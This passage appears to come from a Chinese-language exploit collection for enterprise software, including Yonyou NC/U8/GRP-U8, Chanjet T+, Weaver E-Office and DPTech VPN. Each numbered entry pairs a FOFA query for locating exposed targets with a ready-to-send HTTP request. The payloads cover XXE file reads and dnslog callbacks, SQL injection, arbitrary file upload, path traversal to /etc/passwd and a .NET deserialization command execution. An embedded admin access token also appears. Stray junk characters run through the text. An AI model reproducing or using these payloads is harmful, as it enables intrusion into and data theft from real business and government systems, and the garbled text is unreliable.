. |& U) g4 H6 B1 O7 ^6 ^User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
2 C0 |4 g/ r' s- ?3 L g, S$ i3 KAccept-Encoding: gzip, deflate, \* E# _. ^% r4 o/ m3 G. Y0 ~
Accept: */*) u, B" z" a+ U+ x0 r) V4 m0 C
Connection: close
# h3 J* c* j: ~accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA7 Y. \$ t6 C6 h3 r7 ~
Content-Length: 1903 I: r! R- v+ j- H5 o
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
8 ~0 I% p$ i, |0 x! T+ O9 E
! d& l/ G0 L; S0 z6 b--fd28cb44e829ed1c197ec3bc71748df0
! x1 v3 ^! U4 W- p& E) QContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"8 W( ~. M2 `5 O T R/ l7 B7 A
& P2 V/ W( t1 M0 D<%out.println(1111*1111);%>
) Y1 y: B) ^0 e--fd28cb44e829ed1c197ec3bc71748df0--5 Y/ J$ i4 X: I' K+ O- \
% g# s, b- {/ ]
) M8 ]; y+ r6 }' y; g36. 用友NC-Cloud soapFormat XXE2 r) J6 y2 O0 `0 }& F( U" g B
FOFA:body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"" c/ N* }2 Y+ x6 B$ |
POST /uapws/soapFormat.ajax HTTP/1.1
: Z- s H% P1 q0 [/ BHost: 192.168.40.130:8989
! a8 V3 x9 U+ o* \3 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.06 M4 f$ I# m; P
Content-Length: 263
7 u$ W, }( c0 w. IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# C) E: k, s+ m* CAccept-Encoding: gzip, deflate
! P6 ?) D# M1 L8 {. z; bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# O: F" {; V E" u/ OConnection: close3 R' x5 D& a, M3 H8 H' k0 K
Content-Type: application/x-www-form-urlencoded
' E3 ?" `2 M5 Q- Q. F2 BUpgrade-Insecure-Requests: 14 |' ^7 h: h) @
' k* b: L6 u! X+ c1 i ^1 ?- \msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a5 Q1 F5 y: ?3 z9 Z+ q
/ {* |7 s {1 v5 g
" [6 n) j9 t" _37. 用友NC-Cloud IUpdateService XXE" N, Q; i8 @8 z
FOFA:body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"7 W N- X0 f" f4 f/ Z: S7 |
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1% G `9 ]3 W" u
Host: 192.168.40.130:8989
$ d) }6 s& k% VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36# c- R9 \# `) J. o. ]$ d5 d1 T
Content-Length: 421* F, D( u I; f5 d/ E% g1 x7 x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.94 J8 }* H9 w( J* }
Accept-Encoding: gzip, deflate
" p. C$ M/ z; ]- \5 ^, wAccept-Language: zh-CN,zh;q=0.9, u/ r" A5 `# Z1 t$ O# v) T. q
Connection: close
- n8 s3 `5 i$ O' O" {Content-Type: text/xml;charset=UTF-8% t* M& }( v+ S$ I% E' W$ g
SOAPAction: urn:getResult
3 g! e+ X' T- z/ O; J% @+ BUpgrade-Insecure-Requests: 1
% l8 K9 S0 O2 f' n: G8 u
* ^& ]& M' v% b0 X4 N4 `* d<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService"># z+ S: `$ ]% D3 D# r$ K5 G Z. z+ K
<soapenv:Header/>+ w4 v7 V) |( O, s! E" m( u; V
<soapenv:Body>
( o; B# p4 C: O1 {<iup:getResult>
9 k3 a) N; I7 o<!--type: string-->
6 N# S5 }: B( B( o4 K) F: v<iup:string><![CDATA[3 W$ ?4 Y, }8 V/ F, D2 r& M
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>( Y0 ~) m; p& c" u
<xxx/>]]></iup:string>7 e7 w; k* O. `4 G- N; Y( y
</iup:getResult>% O# a+ T% h! E) l. t7 a0 i2 J% U
</soapenv:Body>
! z: k0 N+ V9 m% H</soapenv:Envelope>
/ D% g' h5 m8 p+ K! s7 ^, j
3 m A% h; H- ~& u. L9 E0 |+ H
3 F6 Q" Z1 B& o7 X: h' D2 x) B$ `8 @ L7 {# n* D$ Q9 I8 i# j* X# \: G$ x
38. 用友U8 Cloud smartweb2.RPC.d XXE7 O7 t% o$ |1 T2 a
FOFA:app="用友-U8-Cloud"! N& }$ |7 ~ v9 p
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.19 P1 }: ^5 P' d: ~/ ~" H# H
Host: 192.168.40.131:8088
6 S3 w) i! Q# P, ~6 |# Q4 |& |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
1 u! M" W( z$ U" v$ q& CContent-Length: 260# U! h3 d' N* z/ v# B$ F8 s
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
d+ z) d' L: A2 Y' JAccept-Encoding: gzip, deflate
8 c9 g, r+ y( Q& S. f& ^0 p* KAccept-Language: zh-CN,zh;q=0.9
: R j1 C8 z* r* M1 P* [' Y5 ~Connection: close. i" `) w+ X1 w" s) w
Content-Type: application/x-www-form-urlencoded8 s& I2 h$ B9 t6 L0 Q( `' u3 t6 q
( R1 r1 v. k3 |/ e" _9 p \/ h9 V5 I0 v__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>% A% N7 e0 G3 A+ N
2 d G$ U! b; M& s
n' w/ f6 ~4 I7 b39. 用友U8 Cloud RegisterServlet SQL注入
' ^+ J m5 K5 f) Y0 B, K' yFOFA:title="u8c"1 e9 s! ` S$ u
POST /servlet/RegisterServlet HTTP/1.1% o5 [3 a. {& R3 {7 V
Host: 192.168.86.128:8089
' D+ `0 E. @6 D5 T+ |% N% B9 a5 VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36* n2 a1 M! T; o% M H
Connection: close- u# c% a y" u4 [/ z, c2 w! a
Content-Length: 85 Y$ |& I2 R" v. m; W+ A( [
Accept: */*
3 I. N1 p7 v( P E# RAccept-Language: en# y5 Z) I- h+ o- W6 z
Content-Type: application/x-www-form-urlencoded
; F5 Y% F: B& z; R( Y6 l, A. dX-Forwarded-For: 127.0.0.18 W. {4 d- {5 K2 ?
Accept-Encoding: gzip
4 ^6 u5 m9 N1 p9 z! y6 H5 r: M
" l2 G& `; p0 k. |# Busercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--* A* ^9 o& e4 K% j. r- K: ]4 A4 D
& n' g# l5 x# ^! @4 R: S* W
6 f/ y1 W% _$ f# e l v40. 用友U8-Cloud XChangeServlet XXE
, U5 }& f0 `# `: i# i# K& N; K; @# mFOFA:app="用友-U8-Cloud"
4 R" O X u0 yPOST /service/XChangeServlet HTTP/1.1
' X3 [ K; {9 R& A% fHost: x.x.x.x
8 d: t9 C8 y4 kUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
9 K3 v$ c* g8 j( z8 @0 d4 tContent-Type: text/xml
2 I0 Y2 \6 a1 y2 V0 ?7 ], nConnection: close6 p0 G! W x& L6 ^% b
9 w5 K/ r9 B) e0 X
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
: m- ] T* {/ L% F2 ]
2 b+ k9 h1 _1 |8 f& h+ |1 ]( g6 a( D O5 }" x+ X
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
% _* o7 ~7 W; h0 S" J, u& o+ {% Q5 _FOFA:app="用友-U8-Cloud"- K, ?1 M5 u! E% r
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1- ^6 E0 t9 N) b, L' {3 N
Host:
4 l9 m7 n0 h3 h- i l. rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.156 Z# j* m3 v9 X
Content-Type: application/json( p6 i$ k1 m7 x W
Accept-Encoding: gzip
2 K: t- K0 f1 g. QConnection: close
+ C% D5 e' C# M$ {% w8 O
! v0 G0 M5 d" ?5 \3 t- G# B- L+ m% o7 s: E/ S
42. 用友GRP-U8 SmartUpload01 文件上传: T& u; a1 k$ N* s$ F% H8 m
FOFA:app="用友-GRP-U8"- |0 [5 ^8 D, J3 ]4 P5 w. S
POST /u8qx/SmartUpload01.jsp HTTP/1.16 M3 }) g3 E% B9 \: K" ?
Host: x.x.x.x9 S* e) B, G6 A" |/ h1 z, T
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt% n1 t* d- m8 ^1 v: u! S' t+ e4 D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.365 }7 V$ H7 M) x7 d$ w" a; t4 [
1 m2 ^4 z0 R) n
PAYLOAD
6 W$ X7 E$ C* c& A1 p
2 T6 i7 e; p' L: U2 b, ?" N
) y+ g8 x6 z/ c; ^http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml2 d! V( p) O* M! R. }
- U( k$ a7 T+ c( m2 t( f3 W7 i43. 用友GRP-U8 userInfoWeb SQL注入致RCE
2 h+ F! u) B7 ]9 y% E/ NFOFA:app="用友-GRP-U8"
3 f$ f& E7 ?7 {: [# N- k6 JPOST /services/userInfoWeb HTTP/1.1' e, l0 l `: Q9 | R2 Y* y& r
Host: your-ip& ]4 w0 |' T+ k) ]8 W
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36) d! n; U, s4 F) h4 }! f; }
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7. s; y: K6 E5 Z( m7 M4 X+ y
Accept-Encoding: gzip, deflate
$ L) |& O6 G5 J* G9 ^' u' oAccept-Language: zh-CN,zh;q=0.9& g( C8 }- M5 d6 p; D- f
Connection: close+ p3 z/ X2 [$ }( I
SOAPAction:
( z$ o- K6 _( _7 HContent-Type: text/xml;charset=UTF-8, z7 `5 Q7 X' V" r
0 p1 G) K+ G9 R; g. V% Y8 D( K# d' a<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">- e- |9 e7 L" }0 n* n D4 t
<soapenv:Header/>$ D) Q) K1 s, i2 K$ @5 }
<soapenv:Body>
3 [$ ~8 \* b$ ^8 j' r( H <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">( O/ L6 o! X4 ]9 a6 |
<userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
0 |8 Z2 X* H& U* P </ser:getUserNameById>, V% K5 j% Y: J ]+ y8 h
</soapenv:Body>7 c+ Z; _, ?, }: L( i
</soapenv:Envelope>
" @7 ~* u' Z2 j0 p4 b
) B/ v9 _/ F' i* j* u7 M) w
" u+ m7 J* @0 g44. 用友GRP-U8 bx_dj_check.jsp SQL注入
. L# F* t! v9 T% E% p4 ZFOFA:app="用友-GRP-U8"
1 ~; S$ d( y# w" M) s0 TGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.16 S5 C# M5 N4 n" m
Host: your-ip
, d5 Z$ F) R; OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
5 Y9 i# i# k" UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' r" n9 v5 [8 S+ h& _' a) R. I$ CAccept-Encoding: gzip, deflate2 p' w6 d4 m5 t
Accept-Language: zh-CN,zh;q=0.95 r9 V8 H$ ?& o
Connection: close
. A5 I2 w5 L: _: U4 _
) ^( A7 B E2 y) w
9 o7 d& l6 V. `45. 用友GRP-U8 ufgovbank XXE
. F! M3 {0 }4 l2 J; m6 f1 j" gFOFA:app="用友-GRP-U8", j- ~+ P F+ m1 D& C
POST /ufgovbank HTTP/1.1' V6 O3 H* O/ c5 o) T* S
Host: 192.168.40.130:222& g5 ~$ D5 Z- B
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0" T) \3 _* S/ M4 n4 j6 a! b
Connection: close
% @/ o* t' K+ _Content-Length: 161) S6 m2 c' c" A9 y9 |6 Y; {
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 V) U. _3 }. C5 h: ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 G& v$ L' d4 D. ^6 wContent-Type: application/x-www-form-urlencoded& e& t9 t- C$ u6 L. f: M/ J
Accept-Encoding: gzip
" a" t w* S9 R+ l5 @2 F
# y0 r$ ^$ j4 V" p2 MreqData=<?xml version="1.0"?>2 X; {) \# c- E) m/ F
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest/ p- H/ K6 c$ M
. J- d' W$ F# U. Y6 k6 v# o9 r- N$ U/ t
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
" |) Z* u; t( _- D5 ~( i2 K2 E% \. `FOFA:app="用友-GRP-U8"% Y8 u6 [# K- @6 {
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1* ?6 O& b' `+ k% ~2 S* j: b* `
Host: your-ip$ M! V5 S- V$ W4 s( K: I, Z# F
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
2 b% v0 W. N) E1 b, J. jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7( c4 t2 C4 u& v; m7 H
Accept-Encoding: gzip, deflate. {; x0 g7 f, H" r: m
Accept-Language: zh-CN,zh;q=0.9
2 f& v) T$ k6 n( H! L0 u6 ` W: JConnection: close/ j: ~9 I D0 c
) @( x y0 A. h3 p6 \+ |% L
5 F5 n% O$ n+ O& C+ |( S1 j47. 用友GRP A++Cloud 政府财务云 任意文件读取* G n/ ?6 b! A9 M( X" @, z Q& J
FOFA:body="/pf/portal/login/css/fonts/style.css"
' T. j# l# N; \, u0 LGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.17 R% D# U1 `2 V' I
Host: x.x.x.x
0 ~# z% d, M) N3 CCache-Control: max-age=0; F+ ?/ A n6 y) L' r1 g* P
Upgrade-Insecure-Requests: 1
5 F7 ~1 ~+ G& L; p5 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 ^# p& ~* Z- E2 c
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) P3 b8 s- g ?& cAccept-Encoding: gzip, deflate, br
0 Y5 b5 G- H) W1 S3 u, [- nAccept-Language: zh-CN,zh;q=0.9
$ T+ R6 [1 N- m. LIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
) u- ?+ a; G: i6 [Connection: close
4 S& {0 o: R: l7 b3 x
1 [9 B. P# K. y8 N6 T2 m. `; y
4 X' p1 r2 o' Z% U% |: q
. ~ X. y R5 c' v9 S: {48. 用友U8 CRM swfupload 任意文件上传
7 N" B% W4 [- n8 \/ FFOFA:title="用友U8CRM"
% k$ G' f% M& f; B9 Q5 d' ^POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.10 N, S; O- F& ~0 h
Host: your-ip3 T3 G0 M6 ^2 }2 Z G5 w
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 `, X6 D1 e: y: c) E. K0 [
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8% B% M; b7 p6 G2 j; q. Q$ d$ j
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, B, m7 Z4 V' J( Z. aAccept-Encoding: gzip, deflate3 {- v5 U! d5 G; I
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855( z! O- Q6 Z" C
------269520967239406871642430066855
) s3 P1 U- J3 D1 BContent-Disposition: form-data; name="file"; filename="s.php"
% a q) }2 M- \( f, X1231 s: a' c3 k% B' {+ F7 v4 C
Content-Type: application/octet-stream/ H M& P& C( ?) C) ^
------269520967239406871642430066855 P" p! F: C9 Z
Content-Disposition: form-data; name="upload"1 b" K0 `7 N( b* }/ X8 K/ H5 D$ O
upload5 o! v) m+ t6 J/ N+ I
------269520967239406871642430066855--: c/ M6 a" j. S+ G# o( |
" m( y- t4 L. b2 H' u
8 }4 r, @+ C7 {6 f7 A# D
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
3 e/ J) D' b1 y, O1 i4 {$ jFOFA:body="用友U8CRM"2 _ v# r3 Q% X( K8 d4 W( I) h
* }$ P7 [( U3 S. B* t, F" H
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1, b; C, y- ?1 w0 B$ {7 R
Host: x.x.x.x, d# N1 [( p1 e- U' J
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
8 r+ z' s5 J7 xContent-Length: 3298 N, i9 l! r5 q0 U& T! A2 i
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% ]- O0 R5 a1 H5 ]/ I" tAccept-Encoding: gzip, deflate( ^5 U- f8 M$ M* p0 F
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: k, h6 z4 G1 ?Connection: close6 B& _; l$ t' n# r
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
! f7 l4 I8 c E ~4 ^3 j$ H9 D/ F/ p4 v! c, y) B
-----------------------------vvv3wdayqv3yppdxvn3w
) q0 H4 ^8 y4 z" sContent-Disposition: form-data; name="file"; filename="%s.php "
) @7 l+ X0 ?, V( L" GContent-Type: application/octet-stream' Y2 a: d) @9 a# d0 q$ u$ W: l5 E
- A c. d( Y% w' U; z# M
wersqqmlumloqa
: b1 I+ m# T( y-----------------------------vvv3wdayqv3yppdxvn3w9 d+ l& l# I2 z/ e
Content-Disposition: form-data; name="upload"
+ W2 s$ P+ d9 C2 A* j* _) b
+ Y; |* s! l5 a% W- r5 R% Iupload
/ K" d0 S- S) r-----------------------------vvv3wdayqv3yppdxvn3w--* {( X' a* k/ U$ P2 V5 K/ n# U
+ A( V/ B3 V" S' }2 P3 W% Y- x0 U
! m* h7 W' u* u" G
http://x.x.x.x/tmpfile/updB3CB.tmp.php1 R: }. ^* _$ f8 l o! a0 l0 _
, D! S4 O, i2 V; e5 r! ^0 d50. QDocs Smart School 6.4.1 filterRecords SQL注入4 ]7 C% R7 V y' N+ m; ]+ Z
FOFA:body="close closebtnmodal"# Y5 `8 I" |8 b
POST /course/filterRecords/ HTTP/1.1% Y' g2 X9 p$ Z. B, Y; `- c/ a+ Y
Host: x.x.x.x7 J, }3 e3 C# L/ V
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
% p4 B0 i3 a$ F% k0 JConnection: close
3 a; N3 f/ s7 XContent-Length: 224, ]3 `: D! O8 g; R! Z, U8 N
Accept: */*
' C' Y' Y7 m- C! mAccept-Language: en0 d6 K8 k% I+ b' D. p2 _
Content-Type: application/x-www-form-urlencoded; ]1 P( E4 H8 T( A
Accept-Encoding: gzip" T; K8 Z! P+ v
7 f. [- q! n# nsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1. p' _" ?4 X" ~% M
' f3 M7 Z8 I. g5 y4 v- J8 L3 k( K2 D, }; T2 H
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入+ t. I* y7 Z; M. F
FOFA:app="云时空社会化商业ERP系统"
2 n, L3 e1 H# g% `3 pGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.11 I2 S2 t5 g0 i2 V# F: x
Host: your-ip. U# E2 X# U. h4 }$ D# i. V/ F* q
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36; S% N5 S, t$ [
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
# O0 C0 x2 J P9 fAccept-Encoding: gzip, deflate- a1 T1 ` Q1 V3 E) F8 r
Accept-Language: zh-CN,zh;q=0.9( u' ^" s; p2 d H* X( H
Connection: close
# i' `( b5 S6 @ z+ |6 u2 u
( I: R; S' R/ R/ B! w" j6 i
4 I) t% A% a8 H# A& e7 v52. 泛微E-Office json_common.php sql注入
; l. V Q. }4 f- f7 X7 g4 ?3 UFOFA:app="泛微-EOffice"
( L5 u* T8 y$ |8 \: a+ J) }8 DPOST /building/json_common.php HTTP/1.1$ z7 U! w+ Q n+ w: V! W1 y( \, B
Host: 192.168.86.128:8097
: h' r2 a4 b8 s8 @/ WUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36; v" _- s }, U* E0 h
Connection: close9 u& h# h) h4 p& Y7 Z9 S0 s
Content-Length: 87
. v3 P |! Q0 `Accept: */*; y% Y3 J0 Q( o( g* u5 j3 r! G
Accept-Language: en
: ?* E& C- O* l. ?, aContent-Type: application/x-www-form-urlencoded
: f. t# P+ S TAccept-Encoding: gzip
! N( G" }1 P2 z T* |) U: i; i0 [' b s& O6 U! R2 X, [1 o
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333: p+ i' e) M8 }$ [! G/ Z p
' [* Y& l: s2 u2 l$ I; f8 b! \* t4 j
53. 迪普 DPTech VPN Service 任意文件上传
/ Y; ~; }1 m0 BFOFA:app="DPtech-SSLVPN"
! r4 U& d0 X7 w/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
0 x. l5 }! O$ ^, X- L# O. [: W' q) C1 ^4 N! ^, i' k( z& c2 b$ W. h
& }: w+ }$ Y, g* P* H" }1 C54. 畅捷通T+ getstorewarehousebystore 远程代码执行
' E7 }$ z/ P! P SFOFA:app="畅捷通-TPlus"% j) s) h& h/ x2 }% y$ e
第一步,向目标发送数据包,执行命令,将指定字符串写入指定文件
5 ^+ j, O6 B% ?% q"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"% y: a y1 ?- ]3 j/ w! ^- C
, U$ O. |- Q1 Y
. b2 A B& k, T/ G- x完整数据包
* O2 N3 `% x2 wPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
# S- \9 O6 I9 B% D: q+ v; u$ gHost: x.x.x.x: V5 m- V$ y# X' q7 q, K0 i+ t. x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F M$ p6 S; F" r2 M5 `' |. @
Content-Length: 593: K+ [$ j& @6 B4 t# @
4 s' U- k# W2 k( r& f
{% u, {. e1 u. V" a: n! M
"storeID":{
7 }# l9 ~! U7 M5 T( Y; \ "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",/ f, @% r' `' X
"MethodName":"Start",
7 ]9 x% Z% b8 t) B7 I! N$ w+ e1 C" o "ObjectInstance":{
6 m% [, j* v% N" p2 Z "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
j& ~) Z: z& d5 P/ q "StartInfo":{* p$ N/ V) K. d" z
"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",9 T! r) _# D$ C4 {
"FileName":"cmd",* l C8 G/ Q) r; A: ?6 K! Q3 L( P
"Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
, X! ?& D. ~( K: S5 ^- \' a }
, c8 H g$ k& ] }
- Q; x6 d9 l1 } }0 V6 K% n) }9 J: H6 E# p: i
}3 O2 i5 l) B, {4 j! j4 z* n/ G
" t. D. m3 k. j; K4 C! h% \# E4 |6 Y; d1 i
第二步,访问如下url
1 l$ U3 Z3 u: u/ B$ t7 }2 q/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
3 {$ ^7 o& t4 ~8 Z8 r5 g! I
% ]' j3 a. J ^. N& S$ H5 E; K1 ]9 }4 E
55. 畅捷通T+ getdecallusers信息泄露+ x* ^; x/ M$ c( T: ]% i! p$ M
FOFA:app="畅捷通-TPlus"
+ i9 Q6 z2 v. ~! v- |第一步,通过- ^" M4 N$ b m7 B' V! [7 ~
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie$ r- s0 F2 z: E
第二步,利用获取到的Cookie请求
: B4 s1 V8 Q* |3 ?3 f" h, a/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
' K4 v7 ]6 x) _$ b3 M4 m
R. f' Y5 u0 m; c4 h3 ~5 R56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
) k' X0 }' H( U2 O% k4 gFOFA: app="畅捷通-TPlus"
6 W5 |! ^- Z m1 PPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
: t9 _2 G& Q& D' k2 q9 fHost: x.x.x.x
# k9 p) u( \. qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
! r9 N! u0 R% x/ r) q! c9 dContent-Type: application/json6 y* N5 j; E! U+ o+ |! g0 \6 K
b) }7 J- o" ^
{
+ N) a5 O q, z' h' ~! ~ "storeID":{8 }( q7 d+ U4 j$ K* E) F
